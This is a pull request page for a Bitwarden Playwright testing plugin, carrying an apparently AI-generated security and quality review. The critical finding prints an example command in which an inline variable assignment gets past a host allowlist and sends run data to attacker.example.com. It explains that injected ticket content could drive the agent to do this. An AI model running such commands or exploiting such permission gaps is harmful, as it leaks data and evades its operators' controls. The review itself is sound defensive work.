add/testing tools execution

[kdenney]

🎟️ Tracking

📔 Objective

[github-actions]

Claude Code validation

Result: Issues found

Validated the bitwarden-testing-tools plugin (v1.4.0 → v1.5.0) against this pull request's own merge base, cbe8d0e1. This is a stacked pull request — its base branch is add/testing-tools-test-case-writing, not main, so of the files in the CI changed-file list only these are actually introduced by PR #212: two new agents (localhost-web-health-checker, playwright-test-runner), three new skills (checking-localhost-web-health, compiling-playwright-report, running-playwright-tests) with their scripts, templates and evals, plus edits to references/playwright-tool-policy.md, CHANGELOG.md, README.md, plugin.json and marketplace.json. The other five SKILL.md and four AGENT.md files in that list are byte-identical to the merge base and belong to an earlier PR in the stack; they were checked for breakage caused by this PR (none found) but not re-audited for quality.

One blocking security finding. Everything else is quality and consistency.

Critical

• plugins/bitwarden-testing-tools/agents/playwright-test-runner/AGENT.md:10 — The new Bash grants are written as leading-wildcard path suffixes, which admits an inline environment-variable assignment and defeats the host allowlists the wrapper scripts enforce in code.

  Bash(*/bitwarden-testing-tools/skills/running-playwright-tests/scripts/external_trigger.py *),
  Bash(*/bitwarden-testing-tools/skills/reading-mailcatcher-api/scripts/read_mailcatcher.py *)
  

  Both wrappers read their allowlist extension from the process environment — external_trigger.py:74 (PLAYWRIGHT_TESTING_ALLOWED_HOSTS), and read_mailcatcher.py (MAILCATCHER_ALLOWED_HOSTS). Because the pattern begins with *, a command that prepends an assignment still matches the same suffix and runs without a prompt:

  PLAYWRIGHT_TESTING_ALLOWED_HOSTS=attacker.example.com \
    /…/external_trigger.py --url https://attacker.example.com/x --rationale "…" --data '<run data>'
  

  This matters because the agent's inputs are explicitly untrusted: external_trigger.py:2-8 states it "Enforces, in code, the localhost-only policy … a plan step (which may be derived from untrusted Jira/Confluence content) cannot drive a request to … an external host." With the env prefix available, injected plan content turns the wrapper into an arbitrary-destination POST channel carrying --data. TLS is still verified for added hosts (external_trigger.py:124-139, a good control), but the request goes out.

  The plugin's own pre-existing documentation says this is exactly what the anchored form prevents — skills/reading-mailcatcher-api/SKILL.md:46: "an assignment prepended to the command falls outside the skill's script:* Bash grant, so it re-prompts on every call and does not persist." This agent's grant form reverts that property for read_mailcatcher.py and never establishes it for the new external_trigger.py.

  The new ## Known limits of these controls section (references/playwright-tool-policy.md:76-83) does honestly record the leading-wildcard weakness — but only as a path-suffix concern ("they match any file whose path ends the same way"), not as an allowlist bypass. Meanwhile references/playwright-tool-policy.md:55 still frames the env var as operator-only: "An operator may extend that set through the comma-separated PLAYWRIGHT_TESTING_ALLOWED_HOSTS environment variable."

  Fix: best is to have external_trigger.py and read_mailcatcher.py ignore their allowlist env var unless it comes from an operator-owned config file rather than the invocation's environment — that closes it regardless of grant syntax, and the Known limits section already explains why the anchored ${CLAUDE_PLUGIN_ROOT} form is not available inside agent tools: frontmatter. Failing that, land the PreToolUse hook the same section names as the enforcement point. At minimum, references/playwright-tool-policy.md:76-83 must record this specific consequence, line 55's "an operator may extend" must be corrected, and the "Enforces, in code" claim in the external_trigger.py docstring should be softened.

  Independently reached by both the plugin validation and the configuration/security passes.

Major

• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:5 — The grant Bash(${CLAUDE_SKILL_DIR}/scripts/preflight-check.sh *) has a trailing space-plus-wildcard, but preflight-check.sh takes no arguments and Step 1 (line 24) invokes it bare. The pattern cannot match, so step 1 of a three-step "halts on the first failure" procedure prompts for permission. The agent-side grant gets it right (agents/localhost-web-health-checker/AGENT.md:9, no wildcard). Fix: change to Bash(${CLAUDE_SKILL_DIR}/scripts/preflight-check.sh). (Reported independently by both the plugin validation and the skill review.)

• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:43-47 — Step 3 calls screenshot --full-page with no preceding browser-open and no navigate, and ## Inputs (lines 13-17) accepts no config path. The sibling skill states at running-playwright-tests/SKILL.md:52 that opening with playwright.config.json must be the first playwright-cli call, because ignoreHTTPSErrors is what suppresses the self-signed dev cert. The primary URL here is https://localhost:8080, so without it navigation lands on a certificate interstitial — which this skill's own criteria would then classify as a render failure against a healthy environment. Fix: add a config-path input, then open --config=<path> and navigate before screenshotting.

• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:4-6 — allowed-tools omits Skill(playwright-cli) and Bash(date:*), both of which Step 3 requires (it instructs generating a YYYYMMDD-HHmm timestamp). The dispatching agent's skills: list covers this today, but the skill is not self-sufficient anywhere else. Fix: add both grants.

• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:43 — evals/behavior-eval.json eval 4 (does-not-improvise-around-a-missing-dependency) grades the skill on refusing a curl-and-grep substitute when playwright-cli is unavailable, but SKILL.md never states that rule. It exists only in agents/localhost-web-health-checker/AGENT.md:20. Fix: state in Step 3 that a missing playwright-cli halts, and that an HTTP fetch is not a substitute because the Angular markup is present before hydration.

• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:4-6 — allowed-tools does not cover two Bash invocations the body mandates: read_mailcatcher.py (line 174) and ls <screenshot-dir>/*<timestamp>* (line 218). Line 194 additionally forbids reaching the mailcatcher script via Skill(reading-mailcatcher-api), so the only grant path is the tools: line in playwright-test-runner/AGENT.md. Fix: add the grants, or state in the body that the skill is supported only when dispatched by playwright-test-runner.

• plugins/bitwarden-testing-tools/skills/running-playwright-tests/scripts/read_admin_email.py:1 — Duplicates the pre-existing skills/reading-mailcatcher-api/scripts/get_admin_email.py with a divergent contract: flag --secrets-path vs --secrets-file, and exit 4 vs 3 for the same failure class (running-playwright-tests/SKILL.md:68 documents 4; the mailcatcher skill documents 3). The new copy adds JSONC comment stripping the old one lacks, so the older one is now silently the weaker of two parallel implementations. It is also absent from the "Canonical script paths" list (references/playwright-tool-policy.md:12-17), which this PR did update for external_trigger.py. Fix: keep one implementation — move the JSONC stripping into get_admin_email.py and call it — or register the new entry point under Canonical script paths and reconcile the exit codes.

• plugins/bitwarden-testing-tools/skills/compiling-playwright-report/SKILL.md:3 — The description is an inventory ("Home of render_report.py … and their unit tests") with no "use when" and no trigger phrases, so the skill is reliably reachable only when named by hand. Every sibling in this plugin leads with a use-condition. It also spends description budget on there is no report-compiler agent, a repo-internal architecture note that is paid for on every turn and buys nothing at selection time. Fix: lead with the use-condition and trigger phrases; drop the no-agent clause (it is already recorded in CHANGELOG.md).

• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:3 — Description carries no trigger phrases and no negative scope, in a namespace with three confusable neighbours (playwright-cli, writing-playwright-test-cases, compiling-playwright-report). Fix: append Triggers on "run the Playwright tests", "execute the test plan", "resume the paused test run". plus a Do NOT use it to… clause.

Minor

• plugins/bitwarden-testing-tools/skills/compiling-playwright-report/scripts/merge_results.py:60 — load_segment validates only the root type and run_status; merge then extends cases unvalidated and tally calls case.get(...). A malformed segment crashes with AttributeError and exit 1 instead of the documented exit 3 (header comment, line 17). Reproduced: echo '{"run_status":"complete","cases":["not-an-object"]}' → traceback. Segments are LLM-produced, so a non-object entry is realistic. Fix: assert cases is a list of dicts in load_segment and route through fail(...).
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:174 — Line 171 points at the tool policy for the canonical script path, then line 174 inlines the full path anyway. references/playwright-tool-policy.md:14 says "do not duplicate the paths elsewhere in prose." Fix: keep the flags and exit-code branching, drop the literal path.
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:102-139, 220-250 — ~40 lines restate the results JSON contract that skills/compiling-playwright-report/references/results-schema.md already owns and merge_results.py enforces, without referencing it. Consistent today, two places to update tomorrow. Fix: point at results-schema.md and trim to the fields the runner actively decides (status, adaptive, account, human).
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:104 — Cites complete-run.json as the model for a case object, but it is a run object and demonstrates neither adaptive nor account. account is load-bearing for resume (line 35 reads it back out of the checkpoint) yet has no worked example in any of the five fixtures. Fix: add account and adaptive cases to the fixture and cite cases[] explicitly.
• plugins/bitwarden-testing-tools/skills/compiling-playwright-report/SKILL.md:9-30 — Body is expository README prose with no ordered procedure; the two-step run and the exit-2 handling are left implicit. The ## Tests section (lines 28-30) is dev-time knowledge loaded at runtime, and it tells the model to run python3 -m unittest, which lines 4-6 do not grant. Fix: add an imperative ## Procedure; move ## Tests to references/ or the plugin README.
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/scripts/external_trigger.py:103 — host not in allowed is an exact match, while references/playwright-tool-policy.md:22 describes the target as "a bitwarden.test origin". A vault.bitwarden.test-style host fails closed at exit 10 and surfaces as a spurious obstacle. Fail-closed is right; only code and prose disagree. Fix: allow a .bitwarden.test suffix, or state that the match is exact-host.
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:116 / skills/compiling-playwright-report/references/results-schema.md:31 — The account: { email, password } block is persisted into test-results-<timestamp>.json so a resumed segment can re-authenticate, putting credential material in the artifacts directory. Contained: render_report.py never emits it into the HTML, and the value is the fixed dev master password (a convention predating this PR). Fix: note in results-schema.md that the results JSON is credential-bearing and should not be attached to tickets, or have merge_results.py strip account from the merged output.
• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:37 — Hardcodes the nine accepted service names a third time. health-check.sh:17-20 names skills/mapping-services-under-test/references/services.md as the canonical registry and itself as the second copy; line 15 already points at the script correctly. Fix: drop the inline list at line 37, or carry the same "MUST stay in sync" note.
• plugins/bitwarden-testing-tools/skills/checking-localhost-web-health/SKILL.md:16, 49-57 — Step 3 branches only on the two literal primary URLs; any other value is undefined behaviour. Fix: add a default branch, or halt and report the unexpected URL.
• Permission-pattern inconsistency across the plugin — The skills added here use the space form Bash(<path> *), while reading-mailcatcher-api, using-stripe-cli, and assessing-test-coverage use the documented prefix form Bash(<path>:*). The space form additionally fails to match a zero-argument invocation (the preflight-check.sh finding above is that failure in practice), and matches only bare-path invocation, not python3 <path> …. Fix: settle on :* across the plugin.
• plugins/bitwarden-testing-tools/skills/running-playwright-tests/SKILL.md:216 — ## Step 4 - Produce… uses a hyphen where Steps 1-3 use an em dash. Fix: normalize to —.

Noted, not counted as findings

• agents/playwright-test-runner/AGENT.md:10, Bash(playwright-cli:*) grants every subcommand with every argument, including goto, eval, and run-code. The PR discloses this honestly in references/playwright-tool-policy.md:76-79, explains why narrowing would not help, and names the unimplemented PreToolUse hook as the enforcement point. A disclosed widening with a stated rationale and a named follow-up is not a finding — but it is the same hook that would close the critical above, so landing it resolves both.
• Both new agents omit <example> blocks in their descriptions. Both state "Do not invoke directly; dispatched by the start-playwright-test skill", and every pre-existing agent in this plugin follows the same convention, so example blocks would be actively misleading here. Intentional.
• The literal dev master password test-master-password-12 appears in skill text. It is an established, documented, localhost-only dev fixture predating this PR (skills/scoping-playwright-test-cases/references/known-flows/auth.md:36), not a credential leak.
• playwright.config.json sets ignoreHTTPSErrors: true. Scoped to the localhost dev config with the reason stated at running-playwright-tests/SKILL.md:52 (self-signed Bitwarden dev certs), and navigation targets are constrained by policy. Justified.

What passed

• Prompt-injection scan (CWE-1427): clean. No file in the changeset addresses a reviewer, claims repository-policy authority, or attempts to steer this review. The eval JSON files are graded-refusal fixtures, not instructions. Verified independently by all four review passes.
• Secrets: clean. No API keys, tokens, private keys, connection strings, or passwords in any file this PR adds. No settings.local.json in the changeset. read_admin_email.py is a deliberate narrowing — it prints one address rather than letting a whole-file Read pull the Stripe test key, SQL password, and installation id/key into transcripts, with the reason documented at lines 4-8.
• Versioning and changelog. 1.4.0 → 1.5.0 MINOR is correct for backward-compatible additions, and the version is consistent across .claude-plugin/marketplace.json:105, plugins/bitwarden-testing-tools/.claude-plugin/plugin.json:3, and the root README.md catalog table. CHANGELOG.md:7-19 adds a Keep a Changelog ## [1.5.0] section under ### Added covering every new component.
• Manifest and structure. plugin.json is valid JSON with kebab-case name matching the directory, valid semver, and well-formed metadata; the marketplace entry matches and its source resolves; the agents/<name>/AGENT.md and skills/<name>/SKILL.md layout is intact. No hooks and no MCP servers are defined, so those checks are N/A.
• Untrusted input reaching a shell. health-check.sh:47-58 validates every argv entry against a closed set of nine service names before any curl runs, so test-plan-derived names cannot reach the shell unchecked. preflight-check.sh takes no arguments and runs set -u with hardcoded patterns. The one remaining untrusted-input-to-network path is the critical above.
• external_trigger.py guard quality is genuinely strong beyond the env-var gap: the host is taken from a real URL parser rather than substring matching (so https://localhost@evil.com/ reads as evil.com), 3xx redirects are never followed so a redirect cannot drive a request past the guard, and TLS verification is bypassed only for the four built-in self-signed dev hosts.
• Report rendering. render_report.py HTML-escapes every interpolated value and fill() does not re-scan substitutions, so untrusted case text cannot forge a template token. No inline <script> or event-handler interpolation in either template.
• Tests. 32 report tests and 40 runner tests pass; every JSON file in the changeset parses; all new scripts carry the execute bit except results_common.py, which is import-only by design.
• No collateral breakage. Every file path referenced from the five stacked-base skills resolves at HEAD. references/playwright-tool-policy.md was edited but not moved, and the anchors those skills depend on (## Canonical script paths, the four-category structure) survive. mapping-services-under-test/SKILL.md:26 referenced the localhost-web-health-checker agent and health-check.sh before either existed — this PR closes that forward reference, and the nine health-check tokens agree exactly across SKILL.md, the script, and services.md.

Checks run

Check	Status
Plugin structure	Skipped here — run as a dedicated workflow step before this review; see the job log and check status
Marketplace	Skipped here — run as a dedicated workflow step before this review; see the job log and check status
Version bump	Skipped here — run as a dedicated workflow step; version/changelog consistency was independently confirmed by the plugin validation
Plugin validation (AI)	Ran — plugins/bitwarden-testing-tools; 1 critical, 2 major, 4 minor
Skill review (AI)	Ran — 3 new skills reviewed in full; the 5 other listed skills are unchanged vs merge base cbe8d0e1 and were checked only for breakage
Configuration & security	Ran — 2 new agents, the modified tool policy, and all new scripts/templates/config; critical finding above confirmed independently